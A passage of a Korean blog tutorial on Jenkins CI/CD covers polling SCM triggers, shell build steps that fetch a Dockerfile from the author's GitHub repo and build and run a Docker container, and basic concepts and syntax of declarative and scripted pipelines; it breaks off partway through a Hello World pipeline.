&lt;li&gt;&lt;b&gt;빌드 유발&lt;/b&gt; : Poll SCM (* * * * *) &lt;span style=&quot;background-color: #ffffff; color: #14141f; text-align: start;&quot;&gt;&amp;rarr; &lt;/span&gt;해당 파일 커밋이 생긴 후 주기(매분)가 맞으면 빌드가 실행됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-15 오후 8.55.24.png&quot; data-origin-width=&quot;1810&quot; data-origin-height=&quot;630&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cmJDUT/btsGB2YdjnH/snKHmqD3WxkwhKNTkHM8w0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cmJDUT/btsGB2YdjnH/snKHmqD3WxkwhKNTkHM8w0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cmJDUT/btsGB2YdjnH/snKHmqD3WxkwhKNTkHM8w0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcmJDUT%2FbtsGB2YdjnH%2FsnKHmqD3WxkwhKNTkHM8w0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1810&quot; height=&quot;630&quot; data-filename=&quot;스크린샷 2024-04-15 오후 8.55.24.png&quot; data-origin-width=&quot;1810&quot; data-origin-height=&quot;630&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Build Steps : Execute shell&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1713184667753&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;cd /var/lib/jenkins/myweb2
rm -rf Dockerfile
wget https://raw.githubusercontent.com/$NICK/aews-cicd/main/1/Dockerfile&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Add build Steps : Execute shell&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1713184681089&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;docker build -t myweb:$VERSION .
docker run -d -p 80:80 --rm --name myweb myweb:$VERSION&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-15 오후 8.58.44.png&quot; data-origin-width=&quot;1814&quot; data-origin-height=&quot;1380&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/maTpH/btsGErbmRel/kH1YNvSyzLpAhSITyTnTk0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/maTpH/btsGErbmRel/kH1YNvSyzLpAhSITyTnTk0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/maTpH/btsGErbmRel/kH1YNvSyzLpAhSITyTnTk0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmaTpH%2FbtsGErbmRel%2FkH1YNvSyzLpAhSITyTnTk0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1814&quot; height=&quot;1380&quot; data-filename=&quot;스크린샷 2024-04-15 오후 8.58.44.png&quot; data-origin-width=&quot;1814&quot; data-origin-height=&quot;1380&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;자신의 Github Repo 1 에서 Dockerfile에 VERSION 정보 수정 후 Commit &amp;rarr; 1분 정도 후 젠킨스에서 확인
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;Git Repo와 Jenkins Server의 Dockerfile은 v1.5.1 이지만 Jenkins Console Output은 v1.0.0입니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-15 오후 11.44.38.png&quot; data-origin-width=&quot;2054&quot; data-origin-height=&quot;850&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bd2r4O/btsGFAZNOpq/UePlavKnGWHPoJKDy1QusK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bd2r4O/btsGFAZNOpq/UePlavKnGWHPoJKDy1QusK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bd2r4O/btsGFAZNOpq/UePlavKnGWHPoJKDy1QusK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbd2r4O%2FbtsGFAZNOpq%2FUePlavKnGWHPoJKDy1QusK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2054&quot; height=&quot;850&quot; data-filename=&quot;스크린샷 2024-04-15 오후 11.44.38.png&quot; data-origin-width=&quot;2054&quot; data-origin-height=&quot;850&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-15 오후 11.44.07.png&quot; data-origin-width=&quot;1904&quot; data-origin-height=&quot;1172&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/s8XY0/btsGCsWqHfa/1Tkuh9xoxGe9dDq506N761/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/s8XY0/btsGCsWqHfa/1Tkuh9xoxGe9dDq506N761/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/s8XY0/btsGCsWqHfa/1Tkuh9xoxGe9dDq506N761/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fs8XY0%2FbtsGCsWqHfa%2F1Tkuh9xoxGe9dDq506N761%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1904&quot; height=&quot;1172&quot; data-filename=&quot;스크린샷 2024-04-15 오후 11.44.07.png&quot; data-origin-width=&quot;1904&quot; data-origin-height=&quot;1172&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-15 오후 11.45.52.png&quot; data-origin-width=&quot;1198&quot; data-origin-height=&quot;506&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/chxixM/btsGGcEoFme/DFHNmlDscKoGNCkx2TWGW0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/chxixM/btsGGcEoFme/DFHNmlDscKoGNCkx2TWGW0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/chxixM/btsGGcEoFme/DFHNmlDscKoGNCkx2TWGW0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FchxixM%2FbtsGGcEoFme%2FDFHNmlDscKoGNCkx2TWGW0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1198&quot; height=&quot;506&quot; data-filename=&quot;스크린샷 2024-04-15 오후 11.45.52.png&quot; data-origin-width=&quot;1198&quot; data-origin-height=&quot;506&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;파라미터와 함께 빌드 클릭 &amp;rarr; 아래 입력 후 확인&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-15 오후 9.13.03.png&quot; data-origin-width=&quot;1978&quot; data-origin-height=&quot;792&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cc21Rg/btsGGaGxsKA/mdf8bf6V97hZKYqb3OyHVk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cc21Rg/btsGGaGxsKA/mdf8bf6V97hZKYqb3OyHVk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cc21Rg/btsGGaGxsKA/mdf8bf6V97hZKYqb3OyHVk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcc21Rg%2FbtsGGaGxsKA%2Fmdf8bf6V97hZKYqb3OyHVk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1978&quot; height=&quot;792&quot; data-filename=&quot;스크린샷 2024-04-15 오후 9.13.03.png&quot; data-origin-width=&quot;1978&quot; data-origin-height=&quot;792&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-15 오후 9.41.37.png&quot; data-origin-width=&quot;1974&quot; data-origin-height=&quot;1162&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bym6Ub/btsGCwqW3eO/ifb3GovOUaKjhEwCwCJkx0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bym6Ub/btsGCwqW3eO/ifb3GovOUaKjhEwCwCJkx0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bym6Ub/btsGCwqW3eO/ifb3GovOUaKjhEwCwCJkx0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbym6Ub%2FbtsGCwqW3eO%2Fifb3GovOUaKjhEwCwCJkx0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1974&quot; height=&quot;1162&quot; data-filename=&quot;스크린샷 2024-04-15 오후 9.41.37.png&quot; data-origin-width=&quot;1974&quot; data-origin-height=&quot;1162&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;실습 내용 정리&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1713184939059&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;docker rm -f myweb
docker rmi myweb:v1.9.9
docker rmi myweb:v1.0.0&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Jenkins 작업 (프로젝트, Job, Item)&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;작업을 수행하는 시점 &lt;b&gt;Trigger&lt;/b&gt;
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;작업 수행 태스크 task가 언제 시작될지를 지시합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;작업을 구성하는 단계별 태스크 &lt;b&gt;Built step&lt;/b&gt;
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;특정 목표를 수행하기 위한 태스크를 단계별 step로 구성할 수 있습니다.&lt;/li&gt;
&lt;li&gt;이것을 젠킨스에서는 빌드 스텝 build step이라고 부릅니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;태스크가 완료 후 수행할 명령 &lt;b&gt;Post-build action&lt;/b&gt;
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;예를 들어 작업의 결과(성공 or 실패)를 사용자에게 알려주는 후속 동작이나, 자바 코드를 컴파일한 후 생성된 클래스 파일을 특정 위치로 복사 등을 말합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;젠킨스의 &lt;b&gt;빌드&lt;/b&gt; : 젠킨스 작업의 특정 실행 버전
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;사용자는 젠킨스 작업을 여러번 실행할 수 있는데, 실행될 때마다 &lt;b&gt;고유 빌드 번&lt;/b&gt;호가 부여됩니다.&lt;/li&gt;
&lt;li&gt;작업 실행 중에 생성된 &lt;b&gt;아티팩트&lt;/b&gt;, &lt;b&gt;콘솔 로드&lt;/b&gt; 등 특정 실행 버전과 관련된 모든 세부 정보가 해당 빌드 번호로 저장됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Pipeline : CD 파이프라인을 구현하고 통합할 때 사용하는 플러그인 스크립트 모음&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1322&quot; data-origin-height=&quot;499&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bDpjFU/btsGEtAfSQQ/Mm0PjSsXMwBlKwnNuEjgh0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bDpjFU/btsGEtAfSQQ/Mm0PjSsXMwBlKwnNuEjgh0/img.png&quot; data-alt=&quot;https://www.jenkins.io/doc/book/pipeline/&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bDpjFU/btsGEtAfSQQ/Mm0PjSsXMwBlKwnNuEjgh0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbDpjFU%2FbtsGEtAfSQQ%2FMm0PjSsXMwBlKwnNuEjgh0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1322&quot; height=&quot;499&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1322&quot; data-origin-height=&quot;499&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;https://www.jenkins.io/doc/book/pipeline/&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;파이프라인 &lt;b&gt;장점&lt;/b&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;코드 : 애플리케이션 CI/CD 프로세스를 코드 형식으로 작성할 수 있고, 해당 코드를 중앙 레파지토리에 저장하여 팀원과 공유 및 작업이 가능합니다.&lt;/li&gt;
&lt;li&gt;내구성 : 젠킨스 서비스가 의도적으로 또는 우발적으로 재시작되더라도 문제없이 유지됩니다.&lt;/li&gt;
&lt;li&gt;일시 중지 가능 : 파이프라인을 실행하는 도중 사람의 승인이나 입력을 기다리기 위해 중단하거나 기다리는 것이 가능합니다.&lt;/li&gt;
&lt;li&gt;다양성 : 분기나 반복, 병렬 처리와 같은 다양한 CI/CD 요구 사항을 지원합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;파이프라인 &lt;b&gt;용어&lt;/b&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;파이프라인 : 전체 빌드 프로세스를 정의하는 코드.&lt;/li&gt;
&lt;li&gt;노드 node : 파이프라인을 실행하는 시스템.&lt;/li&gt;
&lt;li&gt;스테이지 stage : 특정 단계에서 수행되는 작업들의 정의.&lt;/li&gt;
&lt;li&gt;스텝 step : 파이프라인의 특정 단계에서 수행되는 단일 작업을 의미.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;파이프라인 3가지 구성 형태&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Pipeline &lt;b&gt;script&lt;/b&gt; : 일반적인 방식으로 Jenkins 파이프라인을 생성하여 Shell Script를 직접 생성하여 빌드하는 방식
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://www.jenkins.io/doc/book/pipeline/getting-started/#through-the-classic-ui&quot;&gt;Through the classic UI&lt;/a&gt; - 전형적인&amp;nbsp;UI를 통해 Jenkins에 직접 기본 파이프라인을 입력할 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Pipeline script from &lt;b&gt;SCM&lt;/b&gt; : 사전 작성한 JenkinsFile을&amp;nbsp;형상관리 저장소에 보관하고, 빌드 시작 시 파이프라인 프로젝트에서 호출 실행하는 방식
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://www.jenkins.io/doc/book/pipeline/getting-started/#defining-a-pipeline-in-scm&quot;&gt;In SCM&lt;/a&gt; - 프로젝트의 소스 제어 레파지토리에에 Commit할 수 있는 Jenkinsfile을 수동으로 작성할 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;span data-token-index=&quot;0&quot;&gt;Blue Ocean&lt;/span&gt; 기반 : UI기반하여 시각적으로 파이프라인을 구성하면, JenkinsFile이 자동으로 생성되어 실행되는 방식
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;&lt;a style=&quot;color: #000000;&quot; href=&quot;https://www.jenkins.io/doc/book/pipeline/getting-started/#through-blue-ocean&quot; data-token-index=&quot;0&quot;&gt;&lt;span&gt;Through Blue Ocean&lt;/span&gt;&lt;/a&gt; - 파이프라인 프로젝트를 설정한 후 Blue Ocean UI는 파이프라인의 Jenkinsfile을 작성하고 소스 제어에 Commit하는 데 도움이 됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1823&quot; data-origin-height=&quot;822&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bvI3fY/btsGCnnw1wK/F1KBAxXqN5G7EkyQsDcE3K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bvI3fY/btsGCnnw1wK/F1KBAxXqN5G7EkyQsDcE3K/img.png&quot; data-alt=&quot;https://www.jenkins.io/doc/book/blueocean/pipeline-run-details/&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bvI3fY/btsGCnnw1wK/F1KBAxXqN5G7EkyQsDcE3K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbvI3fY%2FbtsGCnnw1wK%2FF1KBAxXqN5G7EkyQsDcE3K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1823&quot; height=&quot;822&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1823&quot; data-origin-height=&quot;822&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;https://www.jenkins.io/doc/book/blueocean/pipeline-run-details/&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;파이프라인 2가지 구문 : &lt;b&gt;선언형&lt;/b&gt; 파이프라인(권장)과 &lt;b&gt;스크립트형&lt;/b&gt; 파이프라인&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;선언형&lt;/b&gt; 파이프라인 : 쉽게 작성 가능, 최근 문법이고 젠킨스에서 권장하는 방법, step 필수!&lt;/li&gt;
&lt;li&gt;&lt;b&gt;스크립트형&lt;/b&gt; 파이프라인 : 커스텀 작업에 용이, 복잡하여 난이도가 높음, step 필수X&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;649&quot; data-origin-height=&quot;508&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kBD60/btsGE562bYe/yDSLrBwE97qnMoJmGQWPs1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kBD60/btsGE562bYe/yDSLrBwE97qnMoJmGQWPs1/img.png&quot; data-alt=&quot;https://velog.io/@kku64r/pipeline&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kBD60/btsGE562bYe/yDSLrBwE97qnMoJmGQWPs1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkBD60%2FbtsGE562bYe%2FyDSLrBwE97qnMoJmGQWPs1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;649&quot; height=&quot;508&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;649&quot; data-origin-height=&quot;508&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;https://velog.io/@kku64r/pipeline&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span data-token-index=&quot;0&quot;&gt;선언형&lt;/span&gt; &lt;span style=&quot;color: #787774;&quot; data-token-index=&quot;2&quot;&gt;Declarative&lt;/span&gt; 파이프라인&lt;/h4&gt;
&lt;pre id=&quot;code_1713192930404&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;pipeline {
    agent any     # Execute this Pipeline or any of its stages, on any available agent.
    stages {
        stage('Build') {   # Defines the &quot;Build&quot; stage.
            steps {
                //         # Perform some steps related to the &quot;Build&quot; stage.
            }
        }
        stage('Test') { 
            steps {
                // 
            }
        }
        stage('Deploy') { 
            steps {
                // 
            }
        }
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span data-token-index=&quot;0&quot;&gt;스크립트형&lt;/span&gt; &lt;span style=&quot;color: #787774;&quot; data-token-index=&quot;2&quot;&gt;Scripted&lt;/span&gt; 파이프라인&lt;/h4&gt;
&lt;pre id=&quot;code_1713192944770&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;node {          # 	Execute this Pipeline or any of its stages, on any available agent.
    stage('Build') {    # Defines the &quot;Build&quot; stage. stage blocks are optional in Scripted Pipeline syntax. However, implementing stage blocks in a Scripted Pipeline provides clearer visualization of each stage's subset of tasks/steps in the Jenkins UI.
        //              # Perform some steps related to the &quot;Build&quot; stage.
    }
    stage('Test') { 
        // 
    }
    stage('Deploy') { 
        // 
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span data-token-index=&quot;0&quot;&gt;Jenkins Pipeline&lt;/span&gt; : First-Pipeline&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;New Item 생성 : &lt;span data-token-index=&quot;1&quot;&gt;First-Pipeline,&lt;/span&gt;&amp;nbsp;Pipeline(Pipeline script)&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;샘플 파이프라인 테스트&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-15 오후 11.57.59.png&quot; data-origin-width=&quot;2600&quot; data-origin-height=&quot;1388&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cS2Utx/btsGCmPGccc/DoD5MWgnmgC0IjRLrZHCqK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cS2Utx/btsGCmPGccc/DoD5MWgnmgC0IjRLrZHCqK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cS2Utx/btsGCmPGccc/DoD5MWgnmgC0IjRLrZHCqK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcS2Utx%2FbtsGCmPGccc%2FDoD5MWgnmgC0IjRLrZHCqK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2600&quot; height=&quot;1388&quot; data-filename=&quot;스크린샷 2024-04-15 오후 11.57.59.png&quot; data-origin-width=&quot;2600&quot; data-origin-height=&quot;1388&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Hello World Script&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1713193154002&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;pipeline {
    agent any

    stages {
        stage('정보 확인') {
            steps {
                echo 'Hello World'
                sh 'java -version'
            }
        }
        stage('가라 배포') {
            steps {
                echo &quot;Deployed successfully!&quot;;
            }
        }
    }
